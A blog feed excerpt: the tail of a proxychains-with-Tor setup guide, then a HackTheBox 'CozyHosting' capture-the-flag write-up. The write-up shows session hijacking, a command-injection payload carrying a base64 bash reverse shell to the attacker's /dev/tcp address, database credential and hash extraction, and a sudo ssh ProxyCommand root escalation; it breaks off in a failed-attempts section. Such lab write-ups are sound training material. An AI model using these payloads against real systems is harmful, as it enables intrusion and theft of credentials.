<li>If you're using a proxy from github proxy list then you can use this <a target="_blank" href="https://proxyscrape.com/online-proxy-checker">tool</a> to check such details.</li>
</ul>
<p>Anyways, now make an entry of the protocol that it's using, it's IP and port. Make sure you note these three things while filtering the servers that you want to use in the proxy chain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706446543424/45d05b4d-46b4-465f-891b-226a6e187bd3.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Examples are already there, you have to make the entry in the same way you made for localhost ( 127.0.0.1 ).</p>
</li>
<li><p>Some proxy server even have username and password. That's what they are in the examples "lamer" is username and "secret" is password for 192.168.67.78 proxy server example.</p>
</li>
</ul>
<hr />
<p>If you're wondering about what the heck is socks, well simply put, Socks is a protocol used by proxy servers. This protocol facilitates the connection and routing of traffic between clients and servers through a proxy server. You can use HTTP or HTTPS as the protocol instead of socks4 or 5 as well, it's up to you.</p>
<p>This protocol operates at the Transport Layer in the OSI Model ( the layer where TCP or UDP is decided upon and used based on the requirement of the connection ).</p>
<ul>
<li><p>socks4 primarily supports TCP only.</p>
</li>
<li><p>whereas socks5 adds the support for UDP.</p>
</li>
</ul>
<p>That's why I told you to add an entry for socks5 as it's going to make your connection UDP-compatible.</p>
<p>Anyways, save the file by using <code>ctrl+x --&gt; press y --&gt; press Enter</code></p>
<hr />
<h1 id="heading-setting-up-tor">Setting up TOR;</h1>
<hr />
<p>Now we need to install TOR if we don't already have it in our system.</p>
<ul>
<li>Open a terminal and install TOR:</li>
</ul>
<pre><code class="lang-bash">sudo apt install tor
</code></pre>
<p>Now we have tor installed but its service ( daemon ) is not running yet:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697821879661/21975044-925e-4451-9117-c0ab54f48c12.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">sudo systemctl status tor
</code></pre>
<p>So let's start the daemon ( background process ) as well:</p>
<pre><code class="lang-bash">sudo systemctl start tor
</code></pre>
<ul>
<li>Now check if the tor is active or not ( use the systemctl status tor command ).</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697821988377/35290193-2b8a-405b-9b54-6856c4fc1774.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-using-and-testing-the-connection">Using and Testing the Connection;</h1>
<hr />
<p>Now we're all set but we're not yet using proxy-chain.</p>
<p>To do that we'll need to type proxychains followed by the command or package that we want to use through this traffic:</p>
<p>Now Let's test this using dnsleaktest.com:</p>
<pre><code class="lang-bash">proxychains firefox <span class="hljs-comment">#or your preferred browser to open it using proxychian</span>
</code></pre>
<p>Now go to <a target="_blank" href="https://dnsleaktest.com/">dnsleaktest.com</a>.</p>
<ul>
<li>you'll see that it shows us a different location and an IP that isn't yours ( country )</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697824404068/ddc73919-4762-4d77-8054-bb1b5d9f2b94.png" alt class="image--center mx-auto" /></p>
<p>Now you can click on Standard test ( or Extented test ) for more details :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697824490017/b4861d61-60d4-4b42-9e37-79ed11a2c066.png" alt class="image--center mx-auto" /></p>
<p>So yeah that's it. We have successfully been able to set-up proxy chain with TOR.</p>
<p>Hope you enjoyed this because I definitely did enjoy writing this one.</p>
<h1 id="heading-nothing-is-100-bulletproof">Nothing is 100% bulletproof:</h1>
<hr />
<p>While this method improves anonymity significantly, it's important to note that complete anonymity is challenging to achieve, and using such tools and methods doesn't guarantee 100% privacy.</p>
<hr />
<h1 id="heading-disclaimer">Disclaimer:</h1>
<hr />
<h3 id="heading-i-dont-promote-you-into-using-this-for-an-illegal-purpose-use-this-for-ethical-purpose-only">I don't promote you into using this for an illegal purpose. Use this for Ethical Purpose only.</h3>
<hr />
<h2 id="heading-see-you-soon-peace">See you soon, PEACE!!</h2>
<p><img src="https://media.giphy.com/media/1XaZPTijBAX5YJTHWT/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[CozyHosting - HackTheBox]]></title><description><![CDATA[After having made a connection using your OpenVPN file with Hack The Box. Spawn the machine. Ping the IP of the machine to check if it's alive in your network or not.

Mapping ( Recon )

Let's now start with an Nmap scan on the target machine:
sudo n...]]></description><link>https://blog.redteamers.in/cozyhosting</link><guid isPermaLink="true">https://blog.redteamers.in/cozyhosting</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hack-the-box]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Thu, 26 Oct 2023 16:47:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745597218736/66d22f62-9a75-40bc-98a6-9405541809fd.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p>After having made a connection using your OpenVPN file with Hack The Box. Spawn the <a target="_blank" href="https://app.hackthebox.com/machines/CozyHosting">machine</a>. Ping the IP of the machine to check if it's alive in your network or not.</p>
<hr />
<h1 id="heading-mapping-recon">Mapping ( Recon )</h1>
<hr />
<p>Let's now start with an Nmap scan on the target machine:</p>
<pre><code class="lang-bash">sudo nmap -sV 10.10.10.230 -v
</code></pre>
<p>-sV = for version detection of each service associated with the ports discovered.</p>
<p>-v = verbose ( enables the scan to give real-time output on the terminal which is elaborate and easy to understand )</p>
<p>Know that the Nmap scan with no ports specified will always scan the first 1000 ports by default.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697982152012/0e6db769-2c71-47dd-b7c8-814945d66f04.png" alt class="image--center mx-auto" /></p>
<p>with -sC ( default script switch ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697986569607/559e06fc-1c5a-4fe4-9408-815391110758.png" alt class="image--center mx-auto" /></p>
<p>So from the above Nmap scan, we find 2 ports open:</p>
<ul>
<li><p>22 TCP - SSH : which also tells us about the OS ( ubuntu ) in the version section, running on the target</p>
</li>
<li><p>80 TCP - HTTP - nginx server ( version: 1.18.0 - Ubuntu )</p>
</li>
</ul>
<p>Great, we can access whatever app is running on port 80 with our browser, but for that, we'll also need to configure our /etc/hosts file so that our system recognizes the hostname of the target machine when we try to access it using port 80 in our web-browser.</p>
<p>So let's add the IP of the machine in the hosts file:</p>
<pre><code class="lang-bash">sudo nano /etc/hosts
</code></pre>
<p>Then make an entry for this machine here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697984523078/9ef74ee6-e45c-4640-93a9-78b6a32e6cdf.png" alt class="image--center mx-auto" /></p>
<p>Save it using --&gt; ctrl + x --&gt; press y --&gt; press Enter.</p>
<p>Now we should be able to browse whatever is running on port 80 of this machine, so let's see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697984801673/d340e342-9326-4f17-a1c5-63c068bb2a7f.png" alt class="image--center mx-auto" /></p>
<p>Next, we'll be trying to expand our attack surface and see if there's accidental exposure of an endpoint or something.</p>
<p>Starting with the directory Brute-Force (a more technically correct term would be sub-directory ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697989371240/c776eb4e-674c-41de-8884-36376a8cf893.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>We find a lot of endpoints in this with 200 status codes, good.</p>
</li>
<li><p>Now we'll browse each of these except the ones that are the obvious ones like /login, /index, etc.. and see if they contain something juicy.</p>
</li>
<li><p>Just with one look at the valid endpoints, we see two points that should be noted and investigated:</p>
<ul>
<li><p>/actuators/sessions</p>
</li>
<li><p>/admin --&gt; is not accessible but we know that it exists, we can use this later.</p>
</li>
</ul>
</li>
</ul>
<p>If we visit the sessions endpoint, we see something that could be interesting:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697987588210/c6bc30b2-28b1-4e8e-b9ed-65f49dd2ce0a.png" alt /></p>
<pre><code class="lang-json">{<span class="hljs-attr">"5CB197594DB7A38DDFCF5F2D037EC11E"</span>:<span class="hljs-string">"kanderson"</span>}

# don't copy, this is going to be different for you.
</code></pre>
<ul>
<li>One's username and other thing appears like a token or something, grab and keep it for later.</li>
</ul>
<h2 id="heading-note">NOTE</h2>
<p>IMPORTANT NOTE - Note that the session ID keeps changing constantly in this web app, I was stuck here for quite a bit, just a heads up.</p>
<hr />
<h2 id="heading-not-relevant-for-solving-this-machine-you-can-skip-this-only-for-absolute-beginners">Not Relevant for solving this machine ( you can skip this- only for absolute beginners ):</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697985580616/6b56593b-3dca-4b7a-bca4-107324a3f254.png" alt class="image--center mx-auto" /></p>
<p>This is not relevant to gaining shell or flags but is just for knowledge. If you browse through all the valid endpoints, you'll find <code>/actuators/beans</code> also leak a lot of unnecessary information:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697990073514/2e4edec3-7e3e-4ad6-b6c9-9e214eda66f6.png" alt class="image--center mx-auto" /></p>
<p>Now this is of course hard to read so we'll use a JSON beautifier ( Js ) to make it readable and pretty:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697990186121/bd92b1cc-7004-4748-aaf9-22a2c26cbc0b.png" alt class="image--center mx-auto" /></p>
<p>Now it is a bit readable:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697990261729/8a1a3bef-eadf-4274-9d64-bb2f9b162f2e.png" alt class="image--center mx-auto" /></p>
<ul>
<li>You can now read through the entire code, and maybe find something useful in a real pentest but here it is not so much of use. So we're going to leave it right here.</li>
</ul>
<p>NOTE- Don't use web-based beautifiers in real pentest, you shouldn't trust these free services. They might be stealing what you upload in the backend without you noticing. It is considered good practice to use an offline beatifier or code one yourself.</p>
<h3 id="heading-back-to-the-real-thing">Back to the real thing!!</h3>
<hr />
<h1 id="heading-chaining-flaws-while-mapping-the-web-app">Chaining flaws while mapping the web app:</h1>
<p>With the help of directory brute-force, we discovered two endpoints, /login ( obvious one ) and /admin ( not so obvious ).</p>
<p>So let's go to /admin endpoint. We see that it directs us back to login page. This would happen as we saw in the dirsearch result. It gave us a 401 status code, which means unauthorized.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698005253604/f28d9c13-882c-4897-b181-7f5d61f038d8.png" alt class="image--center mx-auto" /></p>
<p>But we know another end-point ( actuator/sessions ) which by the name itself says that it contains session-related information and we saw that it actually had something in JSON format with the username "Kanderson". So let's try and access this end-point again and grab the token-like string ( which is highly likely a session ID ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698005611639/7d571553-0841-439e-9efb-65636faf0603.png" alt class="image--center mx-auto" /></p>
<p>After grabbing this string, go back to the /admin tab ( or /login now because of redirection ) in your browser.</p>
<ul>
<li><p>Inspect the page and go to the Storage tab if you're using Firefox ( Application tab in Brave) and find the cookies section, where you'll see a sessionID header and value.</p>
</li>
<li><p>Replace the value with the one that you grabbed:</p>
</li>
</ul>
<p>Brave:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698005844141/239cf60d-2c98-4802-9bfc-3af391b0f894.png" alt class="image--center mx-auto" /></p>
<p>Firefox (recommended as you can easily set burp-proxy with the help of the foxy-proxy extension in this browser, if you don't already know how to set foxy-proxy in Firefox to capture requests in burp, then refer to this <a target="_blank" href="https://youtu.be/2tMuhck4l5Y?si=PKiYRHk6et0fofwF">video</a>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698028445856/bc451e0e-7d38-4731-90c9-a95e378025f3.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Now refresh the page and you'll see that it now shows us a Dashboard:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698005942146/7c35a3a1-26ca-45f6-949c-dab9ad421705.png" alt class="image--center mx-auto" /></p>
<p>Great! That's progress. We've hijacked a session successfully.</p>
<p>Alternatively, we could have used the burp suite for the job.</p>
<hr />
<p>Anyways, coming back to the process. We have a Dashboard.</p>
<p>In the Dashboard, we see a section below, which says connection settings:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698006610586/a34c30d1-4ec4-46c6-bb15-b008c549f3c2.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>It also specifies a line that talks about something related to SSH in the connection. With this, we take the assumption that this connection is SSH only.</p>
</li>
<li><p>Also, we notice that the Connection setting has two fields Hostname and username. Hostname which resolves to an IP behind the scene which we mentioned in the /etc/hosts file right after having started this machine.</p>
<ul>
<li><p>We know that SSH has a command that uses these two; hostname ( IP ) and username for the connection. E.g., SSH username@hostname(IP)</p>
</li>
<li><p>This makes our assumption even stronger.</p>
</li>
</ul>
</li>
</ul>
<p>So let's test this in burp.</p>
<p>Let's turn on the foxy-proxy burp profile and then fill in this connection setting and intercept ( or capture it from the HTTP history tab in the proxy menu ) it in the burp:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698030226274/fa5c14ed-8acb-4215-ba76-aa23334162de.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698031521476/dac084de-8619-492d-bc32-f53cb01cc93e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698031550927/537fc581-8962-4805-a8dd-f84a147682aa.png" alt class="image--center mx-auto" /></p>
<p>Now we'll test the host and username.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698051050831/d95fdfd8-762d-44fc-9f45-cc6acced742f.png" alt class="image--center mx-auto" /></p>
<p>We see that the web app response is revealing something when we make a request without a username:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698051134595/b905ad19-fffc-4258-9ee9-336a6e407f99.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>It appears that the web app is executing an SSH command to bind our machine and server.</p>
</li>
<li><p>So there is a probability this point is vulnerable to command injection as a command is being executed based on the user inputs here. Let's see if the vulnerability is really there or not:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698239355360/cf359360-e579-4475-8fe0-df76627493f2.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>So when we insert "whoami" command in the request and send it, the response confirms it even more;</p>
<ul>
<li><p>/bin/bash - It appears whatever we're inputting is being executed in a bash terminal.</p>
</li>
<li><p>command not found - a typical response that we get in the terminal when the command utility isn't in the system.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698239443632/217ce043-f991-4a8c-b617-d8a792f2d81b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698239508244/47d8fd8d-c456-424e-a24d-1b79bea9b0a6.png" alt class="image--center mx-auto" /></p>
<p>This time, we see SSH in use again.</p>
<p>Both username and host are there in response in the same format that the SSH uses (SSH username@hostname ). We know that the username is "whoami" and "test" is the host in the request.</p>
<p>In the response, we see whoami@test: command not found - this means our input username and host are being executed in the server terminal of this machine.</p>
<p>Great!</p>
<p>Now we'll try and exploit this.</p>
<hr />
<h1 id="heading-attempting-to-exploit">Attempting to Exploit:</h1>
<p>Now we had it confirmed earlier in a response that the server is using a bash terminal, so we'll use a bash reverse shell payload while listening on our local system:</p>
<pre><code class="lang-bash">bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1
</code></pre>
<p>Use revshells.com or something to generate a payload, use your IP ( VPN tunnel - tun IP ) and the port that you have set your machine to listen at while crafting your payload.</p>
<h2 id="heading-initial-shell">Initial Shell:</h2>
<p>Instead of using bash at the beginning of our payload, we'll use the absolute path of the bash ( /bin/bash )</p>
<pre><code class="lang-bash">bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1 <span class="hljs-comment"># don't use this</span>
</code></pre>
<p>Use this:</p>
<pre><code class="lang-bash">/bin/bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1
</code></pre>
<p>You do this in the revshells.com as well:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698214761872/707300f0-27d6-4001-9643-ab7403769b79.png" alt class="image--center mx-auto" /></p>
<p>Now choose the encoding ( base64 ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698214817037/e702047f-473b-4ed6-a5d1-2e30f012a439.png" alt class="image--center mx-auto" /></p>
<p>Now we'll craft the payload that should work:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">test</span>|{<span class="hljs-built_in">echo</span>,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx}|{base64,-d}|bash|
</code></pre>
<p>Payload structure:<br />- test is the user ( that we put in the beginning to bypass app's logic ).</p>
<ul>
<li><p>| is a pipe operator used to append different commands.</p>
</li>
<li><p>Any command that needs a space in the middle ( like echo payload-string has a whitespace in the middle) has been put into curl-braces which allows us to use, it as the break point ( space ). This is helping us to bypass the whitespace error from the app.</p>
</li>
<li><p>{base64,-d} is decoding the echoed payload string "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx" back to "/bin/bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1".</p>
</li>
<li><p>bash is executing the decoded payload using bash shell.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698215423951/5909e0c4-f083-45a6-9eb3-8d707e98a033.png" alt class="image--center mx-auto" /></p>
<p>Local listener:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698209625657/18de09e0-ce7d-4d1f-9d0f-8b0f49be4cc1.png" alt class="image--center mx-auto" /></p>
<p>That did take way more than I expected! Behind the scene, I've failed quite a few times while trying to gain this initial shell itself. I've shared it in the last so you can read it if you'd like.</p>
<hr />
<h2 id="heading-making-the-shell-stable">Making the shell stable:</h2>
<p>Now that we have a shell, we can either stabilize it or continue like this. Stabilizing the shell is good as it will allow you to tab-complete, use the previous command with arrow keys, give you a shell with better stability (connection stability) and much more.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># making the shell stable</span>
python3 -c <span class="hljs-string">'import pty;pty.spawn("/bin/bash")'</span> <span class="hljs-comment"># first step</span>
</code></pre>
<p>Second step: Press ctrl + z, to suspend this shell and keep it in the background.</p>
<pre><code class="lang-bash">stty raw -<span class="hljs-built_in">echo</span>; <span class="hljs-built_in">fg</span> <span class="hljs-comment"># third step</span>
</code></pre>
<p>Press enter once so that you are able to see the cozyhosting shell again:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698220906473/937d0946-be9a-46c6-867d-dea94b3f8ead.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">stty rows 24 columns 80 <span class="hljs-comment">#fourth step</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698221098994/71ca7563-8e1a-4523-9b16-771fe90ed9d6.png" alt class="image--center mx-auto" /></p>
<p>You would have now gained a stable interactive shell.</p>
<p>To confirm, just type cat then press tab, if it auto-completes with the name of the file in the directory ( which is a .jar zip file ) then it's been successfully stabilized.</p>
<hr />
<h2 id="heading-enumerating-through-the-vulnerable-machine">Enumerating through the vulnerable machine:</h2>
<p>Anyways proceeding further:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698211191847/91cd87d5-60a9-4b59-9518-7dd37396def9.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>There's a user named Josh, so I tried accessing the user's home directory, but it says "Permission denied".</p>
</li>
<li><p>So we revert back to what we have access of:</p>
</li>
</ul>
<p>We see there's a .jar file in the /app directory. Let's get that from the remote system to our own and inspect it thoroughly. It might contain something useful:</p>
<p>To Do that we'll first check if the remote system has python or not, it is there, great. Now we'll host a simple Python server on the remote system in the /app directory on the port that's not already in use :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698211499231/f379cc5c-eea2-4c20-be4f-416c06035074.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">python3 -m http.server 9001
</code></pre>
<p>Now browse the machine's ip:9001:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698211687625/1715b11c-3aa7-47bc-89fa-fd22fed95427.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698211694925/65d143d6-459e-47ee-9570-4671a205a948.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Download it.</li>
</ul>
<p>Now let's unzip it and analyze it thoroughly:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># If you don't already have jdk installed</span>
sudo apt install openjdk-11-jdk

<span class="hljs-comment">#To unzip it</span>
jar xvf cloudhosting-0.0.1.jar
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698212333347/c463fbb3-221b-44a1-aafb-39b58c2f0568.png" alt class="image--center mx-auto" /></p>
<p>I've moved these three into separate directory: ExtractedJar.</p>
<p>Now let's see if it has passwords in its content:</p>
<pre><code class="lang-bash">egrep <span class="hljs-string">"password"</span> -iR .
</code></pre>
<p>This command recursively(-iR) looks for the word "password" in the current directory(.).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698214116301/d4053e3f-72bf-4e3c-9939-969d079bae53.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698214241841/2b6d4538-d38a-4574-b105-78db7cbc700a.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">password=Vg&amp;nvzAQ7XxR
</code></pre>
<ul>
<li>Out of all the "password" keyword, there's one that appears to contain a real password value. As shown above.</li>
</ul>
<h3 id="heading-accesing-database">Accesing Database:</h3>
<p>The first thing that pops up in our head is that this password could be used for SSH. but no that is not the case, the password extracted is not of SSH:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698219764169/1057ba7d-3521-416b-9479-4dce3da28868.png" alt class="image--center mx-auto" /></p>
<p>So let's see what ports are open on the machine based on which we can research the services that use those ports:</p>
<pre><code class="lang-bash">ss -tuln
<span class="hljs-comment">#you can telnet as well.</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698212846040/550f557a-c78c-4667-ae81-615840462d0f.png" alt class="image--center mx-auto" /></p>
<p>A quick Google search says it's the default port for Postgresql:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698214399934/8a0913e2-2def-481f-9ace-9e0618fd087b.png" alt class="image--center mx-auto" /></p>
<p>So we found Postgresql running at 127.0.0.1:5432. Let's try and log in to this using the password that we got:</p>
<pre><code class="lang-bash">psql -h 127.0.0.01 -p 5432 -U postgres
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698221440431/a898fcaf-4892-4ac0-b58e-f23c7a31f161.png" alt class="image--center mx-auto" /></p>
<p>Dope! we're in.</p>
<p><code>\list</code> for the list of databases:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698221636505/be1fd45f-174b-4268-995d-cfa5e7988f54.png" alt class="image--center mx-auto" /></p>
<p>\c to connect to that database:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698221743478/62e40839-5cdb-46b8-9887-8d1d3509dea1.png" alt class="image--center mx-auto" /></p>
<p>\d to list tables in current database cozyhosting:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698221874444/1b5004f6-6bbb-49a5-bf80-a2d041624369.png" alt class="image--center mx-auto" /></p>
<p>Now to see all the contents in users table:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span>;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698222367950/5049b380-e0c3-4d34-981d-2b1cceb3b486.png" alt class="image--center mx-auto" /></p>
<p>Grab the password hashes.</p>
<pre><code class="lang-plaintext">   name    |                           password                           | role

-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
</code></pre>
<ul>
<li><p>We see there's a password for admin, we'll try and crack it.</p>
</li>
<li><p>You can use either hash cat or john the ripper or even a web based hash identifier:</p>
</li>
<li><p>Online <a target="_blank" href="https://hashes.com/en/tools/hash_identifier">hash identifier</a>: ( note that this is way too less effective while cracking a password, the password happens to be a leaked password and weak that's why it was able to identify it so easily by running it through its collection of wordlists )</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698244197874/42377295-0196-42db-90ee-c786a0815aa8.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>john the ripper:</p>
<ul>
<li>We'll be using rockyou.txt wordlist for this one:</li>
</ul>
</li>
</ul>
<pre><code class="lang-bash">sudo gunzip /usr/share/wordlists/rockyou.txt.gz <span class="hljs-comment"># to unzip rockyou.txt.gz file</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698244225445/381bacc6-98f7-4c39-9ee1-fec62e69a323.png" alt class="image--center mx-auto" /></p>
<p>And we have successfully cracked the password.</p>
<p>Great!</p>
<h3 id="heading-getting-an-ssh-shell">Getting an SSH shell:</h3>
<p>Let's try logging in as admin through SSH using this password:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698223954369/ba3cded7-8613-4a1b-9d01-5c44e240ccb0.png" alt class="image--center mx-auto" /></p>
<p>Okay let's try logging in as Josh then:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698224180453/cd7b6637-10c9-4f60-b12f-effbd3d8fede.png" alt class="image--center mx-auto" /></p>
<p>TADAA! it worked.</p>
<hr />
<h3 id="heading-user-flag">User Flag:</h3>
<p>Let's just first grab the user flag:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698224335725/93b22715-86f0-410a-8a0d-6c60fe7f187a.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-privilege-escalation">Privilege escalation:</h1>
<p>First thing, we'll check if we ( josh ) can run anything with root privilege or not using the command sudo -l :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698228997012/a299fe0b-aa96-41f3-9adc-ae48397f6070.png" alt class="image--center mx-auto" /></p>
<ul>
<li>There is an SSH binary that we're allowed to run with root-level privilege. Great, we've found our way in as root to the machine.</li>
</ul>
<p>Let's exploit this:</p>
<p>As we've found SSH binary, we'll search for it on <a target="_blank" href="https://gtfobins.github.io/">GTFObins</a>.</p>
<p>If you don't already know what GTFObins is, know that GTFOBins is <strong>a carefully collected list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems</strong>.</p>
<p>Search SSH on GTFObins and click on the link that appears:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698229470163/e0db91e0-0a0c-4aca-a58d-f724d72b5ddb.png" alt class="image--center mx-auto" /></p>
<p>Now if you scroll down you'll see a sudo function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698229597925/86cc9577-aeb9-479d-b2a7-d8bc31b07596.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>It mentions that the privilege is maintained if the user is allowed to run this SSH binary as root ( super user ).</p>
</li>
<li><p>It says we'll be able to spawn interactive root shell through <code>Proxycommand</code> option.</p>
</li>
</ul>
<p>So we'll use this:</p>
<pre><code class="lang-bash">sudo ssh -o ProxyCommand=<span class="hljs-string">';sh 0&lt;&amp;2 1&gt;&amp;2'</span> x
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698229967953/e039586c-e3c2-48c1-a689-da5d7cfbc39a.png" alt class="image--center mx-auto" /></p>
<ul>
<li>It appears that we're now root as the # sign has started to show up in the terminal.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698230014232/c9cf0cd9-1ef3-4b0f-bb9e-c5407bf22eeb.png" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-root-flag">Root Flag:</h3>
<ul>
<li>Let's quickly grab the root flag now:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698230150845/691054fc-3ee2-4db3-b13e-b60190985896.png" alt class="image--center mx-auto" /></p>
<p>And there we did it.</p>
<p><img src="https://media.giphy.com/media/0Rphp8wu5sM93fKpkL/giphy.gif" alt class="image--center mx-auto" /></p>
<hr />
<hr />
<h1 id="heading-failed-attempts-optional-read">Failed attempts ( optional read ):</h1>
<ul>
<li><p>From here on, everything is optional to read.</p>
</li>
<li><p>But know that reading these will make you better equipped for more CTFs and machines like these.</p>
</li>
<li><p>The following might contain redundant lines or concepts from above.</p>
</li>
</ul>
<hr />
<h2 id="heading-first-failed-attempt">First Failed Attempt:</h2>
<hr />
<p>Craft a payload containing reverse shell script:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
bash -i &gt;&amp; /dev/tcp/10.10.16.4/9001 0&gt;&amp;1
<span class="hljs-comment">#revshells.sh reverse shell script</span>
</code></pre>
<p>We'll make a reverse shell script with this payload and upload this on the vulnerable machine using this point which is vulnerable to command injection. Then make it executable and while listening on local machines, execute it to get a reverse shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698177391049/c2636a0c-9986-48f9-b199-5bcdf5aec104.png" alt class="image--center mx-auto" /></p>
<p>So let's just first listen on a port where we're keeping our revshells.sh file:</p>
